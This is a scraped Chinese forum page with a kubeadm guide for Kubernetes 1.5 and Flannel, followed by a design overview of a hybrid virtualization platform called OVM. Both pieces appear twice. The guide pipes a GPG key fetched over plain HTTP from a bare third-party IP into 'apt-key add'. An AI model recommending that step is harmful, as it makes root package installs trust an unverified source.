[reset] Removing node: "iz25beglnhtz"

[reset] Stopping the kubelet service

[reset] Unmounting mounted directories in "/var/lib/kubelet"

[reset] Removing kubernetes-managed containers

[reset] Deleting contents of stateful directories: [/var/lib/kubelet /etc/cni/net.d /var/lib/etcd]

[reset] Deleting contents of config directories: [/etc/kubernetes/manifests /etc/kubernetes/pki]

[reset] Deleting files: [/etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf]





5、要使用Flannel网络,因此我们需要执行如下安装命令:

#kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

configmap "kube-flannel-cfg" created

daemonset "kube-flannel-ds" created



需要稍等几秒钟,我们再来看master node上的cluster信息:

root@master:~# ps -ef |grep kube |grep flannel

root 29457 29441 0 14:09 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr

root 29498 29481 0 14:09 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done



root@master:~# kubectl get pods --all-namespaces

NAMESPACE NAME READY STATUS RESTARTS AGE

kube-system dummy-2088944543-r2mw3 1/1 Running 0 30m

kube-system etcd-master 1/1 Running 0 31m

kube-system kube-apiserver-master 1/1 Running 0 31m

kube-system kube-controller-manager-master 1/1 Running 0 31m

kube-system kube-discovery-1769846148-4rsq9 1/1 Running 0 30m

kube-system kube-dns-2924299975-txh1v 4/4 Running 0 30m

kube-system kube-flannel-ds-0fnxc 2/2 Running 0 29m

kube-system kube-flannel-ds-lpgpv 2/2 Running 0 23m

kube-system kube-flannel-ds-s05nr 2/2 Running 0 18m

kube-system kube-proxy-9c0bf 1/1 Running 0 30m

kube-system kube-proxy-t8hxr 1/1 Running 0 18m

kube-system kube-proxy-zd0v2 1/1 Running 0 23m

kube-system kube-scheduler-master 1/1 Running 0 31m



至少集群的核心组件已经全部run起来了。看起来似乎是成功了。





接下来开始node下的操作



6、minion node:join the cluster



这里我们用到了kubeadm的第二个命令:kubeadm join。



在minion node上执行(注意:这里要保证master node的9898端口在防火墙是打开的):

前提node下需要有上面安装的kube组建

7、安装kubelet和kubeadm

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -

我是用的是

http://119.29.98.145:8070/zhi/apt-key.gpg



主机master上操作如下:



curl -s http://119.29.98.145:8070/zhi/apt-key.gpg | apt-key add -



cat <<EOF >/etc/apt/sources.list.d/kubernetes.list



deb http://apt.kubernetes.io/ kubernetes-xenial main



EOF



apt-get update



apt-get install -y docker.io

apt-get install -y kubelet kubeadm kubectl kubernetes-cni

记住master的token

root@node01:~# kubeadm join --token=2909ca.c0b0772a8817f9e3 xxx.xxx.xxx.xxx(ip)

8、在master node上查看当前cluster状态:

root@master:~# kubectl get node

NAME STATUS AGE

master Ready,master 59m

node01 Ready 51m

node02 Ready 46m 查看全部
1、下载说需要的包都得在墙外,需要翻墙。 但服务器上总不能提供这种便利。 比较麻烦。 两种办法,一种是绑定hosts  由于Kubernetes 编译的各种发行版安装包来源于 Github 上的另一个叫 release 的项目,把这个项目 clone 下来,  

可以参考漠然的文章: https://mritd.me/2016/10/29/set-up-kubernetes-cluster-by-kubeadm/
 
2、我是用的方法 是通过hosts绑定, 然后通过打包到源码,下次直接使用
使用Kubeadm安装Kubernetes1.5版本

1、系统版本:ubuntu16.04

root@master:~# docker version

Client:

Version: 1.12.1

API version: 1.24

Go version: go1.6.2

Git commit: 23cf638

Built: Tue, 27 Sep 2016 12:25:38 +1300

OS/Arch: linux/amd64



Server:

Version: 1.12.1

API version: 1.24

Go version: go1.6.2

Git commit: 23cf638

Built: Tue, 27 Sep 2016 12:25:38 +1300

OS/Arch: linux/amd64





1、部署前提条件

每台主机上面至少1G内存。

所有主机之间网络可达。



2、部署:

在主机上安装kubelet和kubeadm

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -

主机master上操作如下:

cat <<EOF >/etc/apt/sources.list.d/kubernetes.list

deb http://apt.kubernetes.io/ kubernetes-xenial main

EOF

apt-get update

apt-get install -y docker.io

apt-get install -y kubelet kubeadm kubectl kubernetes-cni

下载后的kube组件并未自动运行起来。在 /lib/systemd/system下面我们能看到kubelet.service

root@master:~# ls /lib/systemd/system |grep kube

kubelet.service

kubelet的版本:

root@master:~# kubelet --version

Kubernetes v1.5.1

k8s的核心组件都有了,接下来我们就要boostrap kubernetes cluster了。

3、初始化集群

理论上通过kubeadm使用init和join命令即可建立一个集群,这init就是在master节点对集群进行初始化。和k8s 1.4之前的部署方式不同的是,

kubeadm安装的k8s核心组件都是以容器的形式运行于master node上的。因此在kubeadm init之前,最好给master node上的docker engine挂上加速器代理,

因为kubeadm要从gcr.io/google_containers repository中pull许多核心组件的images


在Kubeadm的文档中,Pod Network的安装是作为一个单独的步骤的。kubeadm init并没有为你选择一个默认的Pod network进行安装。

我们将首选Flannel 作为我们的Pod network,这不仅是因为我们的上一个集群用的就是flannel,而且表现稳定。

更是由于Flannel就是coreos为k8s打造的专属overlay network add-ons。甚至于flannel repository的readme.md都这样写着:“flannel is a network fabric for containers, designed for Kubernetes”。

如果我们要使用Flannel,那么在执行init时,按照kubeadm文档要求,我们必须给init命令带上option:–pod-network-cidr=10.244.0.0/16。


4、执行kubeadm init

执行kubeadm init命令:

root@master:~# kubeadm init --pod-network-cidr=10.244.0.0/16

[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters.

[preflight] Running pre-flight checks

[preflight] Starting the kubelet service

[init] Using Kubernetes version: v1.5.1

[tokens] Generated token: "2909ca.c0b0772a8817f9e3"

[certificates] Generated Certificate Authority key and certificate.

[certificates] Generated API Server key and certificate

[certificates] Generated Service Account signing keys

[certificates] Created keys and certificates in "/etc/kubernetes/pki"

[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/kubelet.conf"

[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/admin.conf"

[apiclient] Created API client, waiting for the control plane to become ready

[apiclient] All control plane components are healthy after 14.761716 seconds

[apiclient] Waiting for at least one node to register and become ready

[apiclient] First node is ready after 1.003312 seconds

[apiclient] Creating a test deployment

[apiclient] Test deployment succeeded

[token-discovery] Created the kube-discovery deployment, waiting for it to become ready

[token-discovery] kube-discovery is ready after 1.002402 seconds

[addons] Created essential addon: kube-proxy

[addons] Created essential addon: kube-dns



Your Kubernetes master has initialized successfully!



You should now deploy a pod network to the cluster.

Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:

http://kubernetes.io/docs/admin/addons/



You can now join any number of machines by running the following on each node:



kubeadm join --token=2909ca.c0b0772a8817f9e3 xxx.xxx.xxx.xxx (ip记下)



init成功后的master node有啥变化?k8s的核心组件均正常启动:

root@master:~# ps -ef |grep kube

root 23817 1 2 14:07 ? 00:00:35 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local

root 23921 23900 0 14:07 ? 00:00:01 kube-scheduler --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080

root 24055 24036 0 14:07 ? 00:00:10 kube-apiserver --insecure-bind-address=127.0.0.1 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,PersistentVolumeLabel,DefaultStorageClass,ResourceQuota --service-cluster-ip-range=10.96.0.0/12 --service-account-key-file=/etc/kubernetes/pki/apiserver-key.pem --client-ca-file=/etc/kubernetes/pki/ca.pem --tls-cert-file=/etc/kubernetes/pki/apiserver.pem --tls-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --token-auth-file=/etc/kubernetes/pki/tokens.csv --secure-port=6443 --allow-privileged --advertise-address=master的ip --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname --anonymous-auth=false --etcd-servers=http://127.0.0.1:2379

root 24084 24070 0 14:07 ? 00:00:11 kube-controller-manager --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080 --cluster-name=kubernetes --root-ca-file=/etc/kubernetes/pki/ca.pem --service-account-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --cluster-signing-cert-file=/etc/kubernetes/pki/ca.pem --cluster-signing-key-file=/etc/kubernetes/pki/ca-key.pem --insecure-experimental-approve-all-kubelet-csrs-for-group=system:kubelet-bootstrap --allocate-node-cidrs=true --cluster-cidr=10.244.0.0/16

root 24242 24227 0 14:07 ? 00:00:00 /usr/local/bin/kube-discovery

root 24308 24293 1 14:07 ? 00:00:15 kube-proxy --kubeconfig=/run/kubeconfig

root 29457 29441 0 14:09 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr

root 29498 29481 0 14:09 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done

root 30372 30357 0 14:10 ? 00:00:01 /exechealthz --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1 >/dev/null --url=/healthz-dnsmasq --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1:10053 >/dev/null --url=/healthz-kubedns --port=8080 --quiet

root 30682 30667 0 14:10 ? 00:00:01 /kube-dns --domain=cluster.local --dns-port=10053 --config-map=kube-dns --v=2

root 48755 1796 0 14:31 pts/0 00:00:00 grep --color=auto kube



而且以多cotainer的形式启动

root@master:~# docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

c4209b1077d2 gcr.io/google_containers/kubedns-amd64:1.9 "/kube-dns --domain=c" 22 minutes ago Up 22 minutes k8s_kube-dns.61e5a20f_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_fc02f762

0908d6398b0b gcr.io/google_containers/exechealthz-amd64:1.2 "/exechealthz '--cmd=" 22 minutes ago Up 22 minutes k8s_healthz.9d343f54_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_0ee806f6

0e35e96ca4ac gcr.io/google_containers/dnsmasq-metrics-amd64:1.0 "/dnsmasq-metrics --v" 22 minutes ago Up 22 minutes k8s_dnsmasq-metrics.2bb05ef7_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_436b9370

3921b4e59aca gcr.io/google_containers/kube-dnsmasq-amd64:1.4 "/usr/sbin/dnsmasq --" 22 minutes ago Up 22 minutes k8s_dnsmasq.f7e18a01_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_06c5efa7

18513413ba60 gcr.io/google_containers/pause-amd64:3.0 "/pause" 22 minutes ago Up 22 minutes k8s_POD.d8dbe16c_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_9de0a18d

45132c8d6d3d quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 "/bin/sh -c 'set -e -" 23 minutes ago Up 23 minutes k8s_install-cni.fc218cef_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_88dffd75

4c2a2e46c808 quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 "/opt/bin/flanneld --" 23 minutes ago Up 23 minutes k8s_kube-flannel.5fdd90ba_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_2706c3cb

ad08c8dd177c gcr.io/google_containers/pause-amd64:3.0 "/pause" 23 minutes ago Up 23 minutes k8s_POD.d8dbe16c_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_279d8436

847f00759977 gcr.io/google_containers/kube-proxy-amd64:v1.5.1 "kube-proxy --kubecon" 24 minutes ago Up 24 minutes k8s_kube-proxy.2f62b4e5_kube-proxy-9c0bf_kube-system_f5326252-d631-11e6-9d86-0050569c3e9b_c1f31904

f8da0f38f3e1 gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_kube-proxy-9c0bf_kube-system_f5326252-d631-11e6-9d86-0050569c3e9b_c340d947

c1efa29640d1 gcr.io/google_containers/kube-discovery-amd64:1.0 "/usr/local/bin/kube-" 24 minutes ago Up 24 minutes k8s_kube-discovery.6907cb07_kube-discovery-1769846148-4rsq9_kube-system_f49933be-d631-11e6-9d86-0050569c3e9b_c4827da2

4c6a646d0b2e gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_kube-discovery-1769846148-4rsq9_kube-system_f49933be-d631-11e6-9d86-0050569c3e9b_8823b66a

ece79181f177 gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_dummy.702d1bd5_dummy-2088944543-r2mw3_kube-system_f38f3ede-d631-11e6-9d86-0050569c3e9b_ade728ba

9c3364c623df gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_dummy-2088944543-r2mw3_kube-system_f38f3ede-d631-11e6-9d86-0050569c3e9b_838c58b5

a64a3363a82b gcr.io/google_containers/kube-controller-manager-amd64:v1.5.1 "kube-controller-mana" 25 minutes ago Up 25 minutes k8s_kube-controller-manager.84edb2e5_kube-controller-manager-master_kube-system_7b7c15f8228e3413d3b0d0bad799b1ea_697ef6ee

27625502c298 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 "kube-apiserver --ins" 25 minutes ago Up 25 minutes k8s_kube-apiserver.5942f3e3_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_38a83844

5b2cc5cb9ac1 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-controller-manager-master_kube-system_7b7c15f8228e3413d3b0d0bad799b1ea_2f88a796

e12ef7b3c1f0 gcr.io/google_containers/etcd-amd64:3.0.14-kubeadm "etcd --listen-client" 25 minutes ago Up 25 minutes k8s_etcd.c323986f_etcd-master_kube-system_3a26566bb004c61cd05382212e3f978f_ef6eb513

84a731cbce18 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_a3a2ea4e

612b021457a1 gcr.io/google_containers/kube-scheduler-amd64:v1.5.1 "kube-scheduler --add" 25 minutes ago Up 25 minutes k8s_kube-scheduler.bb7d750_kube-scheduler-master_kube-system_0545c2e223307b5ab8c74b0ffed56ac7_a49fab86

ac0d8698f79f gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_etcd-master_kube-system_3a26566bb004c61cd05382212e3f978f_9a6b7925

2a16a2217bf3 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-scheduler-master_kube-system_0545c2e223307b5ab8c74b0ffed56ac7_d2b51317





kube-apiserver的IP是host ip,从而推断容器使用的是host网络,这从其对应的pause容器的network属性就可以看出:



root@master:~# docker ps |grep apiserver

27625502c298 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 "kube-apiserver --ins" 26 minutes ago Up 26 minutes k8s_kube-apiserver.5942f3e3_kubeapiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_38a83844

84a731cbce18 gcr.io/google_containers/pause-amd64:3.0 "/pause" 26 minutes ago Up 26 minutes k8s_POD.d8dbe16c_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_a3a2ea4e



问题一、

如果kubeadm init执行过程中途出现了什么问题,比如前期忘记挂加速器导致init hang住,你可能会ctrl+c退出init执行。重新配置后,再执行kubeadm init,这时你可能会遇到下面kubeadm的输出:

# kubeadm init --pod-network-cidr=10.244.0.0/16

[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters.

[preflight] Running pre-flight checks

[preflight] Some fatal errors occurred:

Port 10250 is in use

/etc/kubernetes/manifests is not empty

/etc/kubernetes/pki is not empty

/var/lib/kubelet is not empty

/etc/kubernetes/admin.conf already exists

/etc/kubernetes/kubelet.conf already exists

[preflight] If you know what you are doing, you can skip pre-flight checks with `--skip-preflight-checks`



kubeadm会自动检查当前环境是否有上次命令执行的“残留”。如果有,必须清理后再行执行init。我们可以通过”kubeadm reset”来清理环境,以备重来。



# kubeadm reset

[preflight] Running pre-flight checks

[reset] Draining node: "iz25beglnhtz"

[reset] Removing node: "iz25beglnhtz"

[reset] Stopping the kubelet service

[reset] Unmounting mounted directories in "/var/lib/kubelet"

[reset] Removing kubernetes-managed containers

[reset] Deleting contents of stateful directories: [/var/lib/kubelet /etc/cni/net.d /var/lib/etcd]

[reset] Deleting contents of config directories: [/etc/kubernetes/manifests /etc/kubernetes/pki]

[reset] Deleting files: [/etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf]





5、要使用Flannel网络,因此我们需要执行如下安装命令:

#kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

configmap "kube-flannel-cfg" created

daemonset "kube-flannel-ds" created



需要稍等几秒钟,我们再来看master node上的cluster信息:

root@master:~# ps -ef |grep kube |grep flannel

root 29457 29441 0 14:09 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr

root 29498 29481 0 14:09 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done



root@master:~# kubectl get pods --all-namespaces

NAMESPACE NAME READY STATUS RESTARTS AGE

kube-system dummy-2088944543-r2mw3 1/1 Running 0 30m

kube-system etcd-master 1/1 Running 0 31m

kube-system kube-apiserver-master 1/1 Running 0 31m

kube-system kube-controller-manager-master 1/1 Running 0 31m

kube-system kube-discovery-1769846148-4rsq9 1/1 Running 0 30m

kube-system kube-dns-2924299975-txh1v 4/4 Running 0 30m

kube-system kube-flannel-ds-0fnxc 2/2 Running 0 29m

kube-system kube-flannel-ds-lpgpv 2/2 Running 0 23m

kube-system kube-flannel-ds-s05nr 2/2 Running 0 18m

kube-system kube-proxy-9c0bf 1/1 Running 0 30m

kube-system kube-proxy-t8hxr 1/1 Running 0 18m

kube-system kube-proxy-zd0v2 1/1 Running 0 23m

kube-system kube-scheduler-master 1/1 Running 0 31m



至少集群的核心组件已经全部run起来了。看起来似乎是成功了。





接下来开始node下的操作



6、minion node:join the cluster



这里我们用到了kubeadm的第二个命令:kubeadm join。



在minion node上执行(注意:这里要保证master node的9898端口在防火墙是打开的):

前提node下需要有上面安装的kube组建

7、安装kubelet和kubeadm

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -

我是用的是

http://119.29.98.145:8070/zhi/apt-key.gpg



主机master上操作如下:



curl -s http://119.29.98.145:8070/zhi/apt-key.gpg | apt-key add -



cat <<EOF >/etc/apt/sources.list.d/kubernetes.list



deb http://apt.kubernetes.io/ kubernetes-xenial main



EOF



apt-get update



apt-get install -y docker.io

apt-get install -y kubelet kubeadm kubectl kubernetes-cni

记住master的token

root@node01:~# kubeadm join --token=2909ca.c0b0772a8817f9e3 xxx.xxx.xxx.xxx(ip)

8、在master node上查看当前cluster状态:

root@master:~# kubectl get node

NAME STATUS AGE

master Ready,master 59m

node01 Ready 51m

node02 Ready 46m

OVM混合虚拟化设计目标及设计思路

大数据/云计算maoliang 发表了文章 • 0 个评论 • 1289 次浏览 • 2016-09-29 09:42 • 来自相关话题

1、OVM虚拟化的目标:

OVM是要实现混合虚拟化,做一个大一统的资源管理和交付平台,纵观虚拟化市场,现在当属开源的KVM和Docker最火,我们工作过去有vmware,现在大量使用kvm,未来一定会考虑docker,但现有市场上的产品要么架构太大,开发难度高,易用性不够强,要么就是单纯的虚拟化,类似vmware等。

新形式下,我们需要的产品要同时具备如下目标:

跨平台,支持KVM、Esxi和Docker容器

因为我们单位过去采用虚拟化技术混杂,上面又遗留很多虚拟机,这就要求我们新开发产品能够兼容不同hypervior,同时还能识别并管理原有hypervior上的虚拟机,能够识别并导入原数据库技术并不难,难的是导入后还能纳入新平台管理,这部分我们又研发了自动捕获技术,而不同混合虚拟化管理技术可以摆脱对底层Hypervisor的依赖,专心于资源的统一管理。

单独的用户自助服务门户

过去采用传统虚拟化时,解决了安装部署的麻烦,但资源的申请和扩容、准备资源和切割资源仍然没有变,还是要让我们做,占据了日常运维工作的大部分工作量,每天确实烦人,所以我们想而这部分工作是可以放给相关的部门Leader或者专员,来减少运维的工作量,所以我们希望新设计的OVM允许用户通过一个单独的Web门户来直接访问自己的资源(云主机、云硬盘、网络等),而且对自己的资源进行管理,而不需要知道资源的具体位置,同时用户的所有云主机都建立在高可用环境之上,也不必担心实际物理硬件故障引起服务瘫痪。

Opscode Chef自动化运维集成

实行自助服务后,有一个问题,就是软件不同版本部署不兼容,这就需要设计能够把操作系统、中间件、数据库、web能统一打包部署,减少自助用户哭天喊地甚至骂我们,我们通过对chef的集成,可以一键更新所有的虚拟机,在指定的虚拟机上安装指定的软件。有了chef工具,为虚拟机打补丁、安装软件,只需要几个简单的命令即可搞定。

可持续性

做运维不要故障处理办法是不行,而且还要自动化的,同时我们有vmware和kvm,就需要新平台能在esxi上(不要vcenter,要付钱的)和kvm同时实现ha功能

可运维性
一个平台再强大,技术再厉害,如果不可运维,那结果可想而知。因此我们希望OVM可以给用户带来一个稳定、可控、安全的生产环境

弹性伸缩
自助服务部门拿到资源后,通过对各项目资源的限额,以及对各虚拟机和容器性能指标的实时监控,可以实现弹性的资源伸缩,达到合理分配利用资源。

资源池化
将数据中心的计算、存储、网络资源全部池化,然后通过OVM虚拟化平台统一对外提供IaaS服务。

2、OVM设计思路

OVM架构选型一

我们觉得架构就是一个产品的灵魂所在,决定着产品日后的发展。

我们团队在产品选型初期,分别调研了目前比较热门的openstack,以及前几年的明星产品convirt、ovirt,这几个产品可谓是典型的代表。

Openstack偏重于公有云,架构设计的很不错,其分布式、插件式的模块化架构,可以有效避免单点故障的发生,从发布之初便备受推崇,但是其存在的问题也同样令人头疼目前使用Openstack的大多是一些有实力的IDC、大型的互联网公司在用。而对于一般的企业来说,没有强大的开发和维护团队,并不敢大规模的采用openstack,初期使用一段时间后我们放弃了OS。

而前几年的convirt,在当时也掀起了一股使用热潮,其简单化的使用体验,足以满足小企业的虚拟化需求,但是他的问题是架构采用了集中式的架构,而且对于上了规模之后,也会带来性能方面的瓶颈,除非是把数据库等一些组件松藕合,解决起来也比较麻烦,所以到了后期也是不温不火,官方也停止了社区的更新和维护。

OVM架构选型二

      通过对以上产品的优劣势分析,我们决定采用用分布式、松耦合的模块化插件架构,分布式使其可以规避单点故障,达到业务持续高可用,松耦合的模块化特点让产品在后期的扩展性方面不受任何限制,使其向下可以兼容数据中心所有硬件(通过OVM标准的Rest API接口),向上可以实现插件式的我们即将需要的工作流引擎、计费引擎、报表引擎、桌面云引擎和自动化运维引擎。

而目前阶段我们则专心于实现虚拟化的全部功能,发掘内部对虚拟化的需求,打造一款真正简单、易用、稳定、可运维的一款虚拟化管理软件,并预留向上、向下的接口留作后期发展。(架构图大家可以查看刚才上面发的图片)

虚拟化技术选择

    Docker当下很火,其轻量级、灵活、高密度部署是优点,但是大规模使用还未成熟。许多场景还是需要依赖传统的虚拟化技术。所以我们选择传统虚拟化技术KVM+Docker,确保线上业务稳定性、连续性的同时,开发、测试环境又可以利用到Docker的轻量级、高密度和灵活。

     另外很多用户的生产环境存在不止一种虚拟化技术,例如KVM+Esxi组合、KVM+XenServer组合、KVM+Hyper-V组合,而目前的虚拟化管理平台,大多都是只支持一种Hypervisor的管理,用户想要维护不同的虚拟化技术的虚拟机,就要反复的在不同环境之间切换。

    基于此考虑,我和团队内部和外部一些同行选择兼容(兼容KVM、Esxi,Docker),并自主打造新一代虚拟化管理平台——混合虚拟化。

网络  

 网络方面,我们对所有Hypervisor的虚拟机使用统一的网络管理(包括Docker容器),这样做的一个好处就是可以减少运维工作量,降低网络复杂性。初期我们只实现2层的虚拟网络管理,为虚拟机和容器提供Vlan隔离、DHCP分配网络,当然也可以手工为虚拟机挑选一个网络,这个可以满足一般的虚拟化需求,后期我们会在此基础上增加虚拟网络防火墙、负载均衡。

存储

存储上面我们采用本地存储+NFS两种方式,对于一般中小企业来说,不希望购买高昂的商业存储,直接使用本地存储虚拟机的性能是最好的,而且我们也提供了存储快照、存储热迁移、虚拟机的无共享热迁移来提升业务安全。此外NFS作为辅助,可以为一些高风险业务提供HA。后期存储方面我们会考虑集成Ceph和GlusterFS存储来提升存储管理。

镜像中心

顾名思义,镜像中心就是用来存放镜像的。传统虚拟化我们使用NFS来作为镜像中心,所有宿主机共享一个镜像中心,这样可以更方便的来统一管理镜像,而针对Docker容器则保留了使用Docker自己的私有仓库,但是我们在WEB UI的镜像中心增加了从Docker私有仓库下载模板这么一个功能,实现了在同一个镜像中心的管理,后期我们会着重打造传统虚拟化镜像与Docker镜像的相互转换,实现两者内容的统一。

HA

OVM 主机HA依然坚持全兼容策略,支持对可管理的所有Hypervisor的HA。

在启用HA的资源池,当检测到一个Hypervisor故障,创建和运行在该Hypervisor共享存储上的虚拟机将在相同资源池下的另外一个主机上重启。

具体工作流程为:

第一次检测到故障会将该故障主机标记;

第二次检测依然故障将启动迁移任务;

迁移任务启动后将在该故障主机所在的资源池寻找合适的主机;

确定合适主机后,会将故障主机上所有的虚拟机自动迁移到合适的主机上面并重新启动;

 

VM分配策略

负载均衡

PERFORMANCE(性能): 这条策略分配虚拟机到不同的主机上。它挑选一组中可用资源最多的主机来部署虚拟机。如果有多个主机都有相同的资源可用,它使用一个循环算法,每个虚拟机分配到一个不同的主机上。

PROGRESSIVE(逐行扫描): 这条策略意味着,所有虚拟机将被分配在同一个主机上,直到它的资源被用尽。此项策略将一个主机资源使用完,然后再切换到另一个主机。

负载均衡级别

所有资源池: 如果选定此选项,则负载均衡级别策略将适用于所选定数据中心的所有资源池中的主机。

所有主机: 该策略将适用于所选数据中心单个资源池的所有主机。

特定主机: 该策略仅适用于所选的特定主机。

 

VM设计一

VM是整个虚拟化平台的核心,我们开发了一个单独的模块来负责虚拟机的相关操作。其采用异步通信和独立的并行操作,提升了虚拟机性能、稳定性和扩展性。

可扩展性:独立、并发

可追溯性:错误信息和log、监控控制台、性能

非阻塞操作:稳定性、改进重新配置、改进回滚、标准、统一的hypervisor通信、自动化测试

 

VM设计二

我们设计基于vApp来部署虚拟机,一个vApp可包含N个虚拟机:

N 个虚拟机配置

N个开机请求

我们希望并行运行N个配置(要求资源允许),并在配置后每个虚拟机请求一个开机。这些操作都是并发和独立的。

 

平台设计

OVM产品目前由三大组件、七大模块组成。其中三大组件分别为OVM UI、OVM API和OVM数据中心组件。

OVM UI提供WEB自服务界面,OVM API负责UI和数据中心组件之间的交互,OVM数据中心组件分别提供不同的功能。七大模块分别负责不同的功能实现,和三大组件之间分别交互。

VDC资源限额

管理员可以为每个VDC设置资源限额,防止资源的过度浪费。

账户管理

OVM提供存储SDK、备份SDK,以及虚拟防火墙SDK,轻松与第三方实现集成

获得帮助

下载请访问OVM社区官网:51ovm.com

使用过程中遇到什么问题及获得下载密码,加入OVM社区qq官方交流群:22265939

“ 实践是检验真理唯一标准“,OVM社区视您为社区的发展动力,此刻,诚邀您参与我们的调查,共同做出一款真正解决问题、放心的产品,一起推动国内虚拟化的进步和发展。

填写调查问卷!只需1分钟喔!
https://www.wenjuan.com/s/iiEVZv 查看全部
1、OVM虚拟化的目标:

OVM是要实现混合虚拟化,做一个大一统的资源管理和交付平台,纵观虚拟化市场,现在当属开源的KVM和Docker最火,我们工作过去有vmware,现在大量使用kvm,未来一定会考虑docker,但现有市场上的产品要么架构太大,开发难度高,易用性不够强,要么就是单纯的虚拟化,类似vmware等。

新形式下,我们需要的产品要同时具备如下目标:

跨平台,支持KVM、Esxi和Docker容器

因为我们单位过去采用虚拟化技术混杂,上面又遗留很多虚拟机,这就要求我们新开发产品能够兼容不同hypervior,同时还能识别并管理原有hypervior上的虚拟机,能够识别并导入原数据库技术并不难,难的是导入后还能纳入新平台管理,这部分我们又研发了自动捕获技术,而不同混合虚拟化管理技术可以摆脱对底层Hypervisor的依赖,专心于资源的统一管理。

单独的用户自助服务门户

过去采用传统虚拟化时,解决了安装部署的麻烦,但资源的申请和扩容、准备资源和切割资源仍然没有变,还是要让我们做,占据了日常运维工作的大部分工作量,每天确实烦人,所以我们想而这部分工作是可以放给相关的部门Leader或者专员,来减少运维的工作量,所以我们希望新设计的OVM允许用户通过一个单独的Web门户来直接访问自己的资源(云主机、云硬盘、网络等),而且对自己的资源进行管理,而不需要知道资源的具体位置,同时用户的所有云主机都建立在高可用环境之上,也不必担心实际物理硬件故障引起服务瘫痪。

Opscode Chef自动化运维集成

实行自助服务后,有一个问题,就是软件不同版本部署不兼容,这就需要设计能够把操作系统、中间件、数据库、web能统一打包部署,减少自助用户哭天喊地甚至骂我们,我们通过对chef的集成,可以一键更新所有的虚拟机,在指定的虚拟机上安装指定的软件。有了chef工具,为虚拟机打补丁、安装软件,只需要几个简单的命令即可搞定。

可持续性

做运维不要故障处理办法是不行,而且还要自动化的,同时我们有vmware和kvm,就需要新平台能在esxi上(不要vcenter,要付钱的)和kvm同时实现ha功能

可运维性
一个平台再强大,技术再厉害,如果不可运维,那结果可想而知。因此我们希望OVM可以给用户带来一个稳定、可控、安全的生产环境

弹性伸缩
自助服务部门拿到资源后,通过对各项目资源的限额,以及对各虚拟机和容器性能指标的实时监控,可以实现弹性的资源伸缩,达到合理分配利用资源。

资源池化
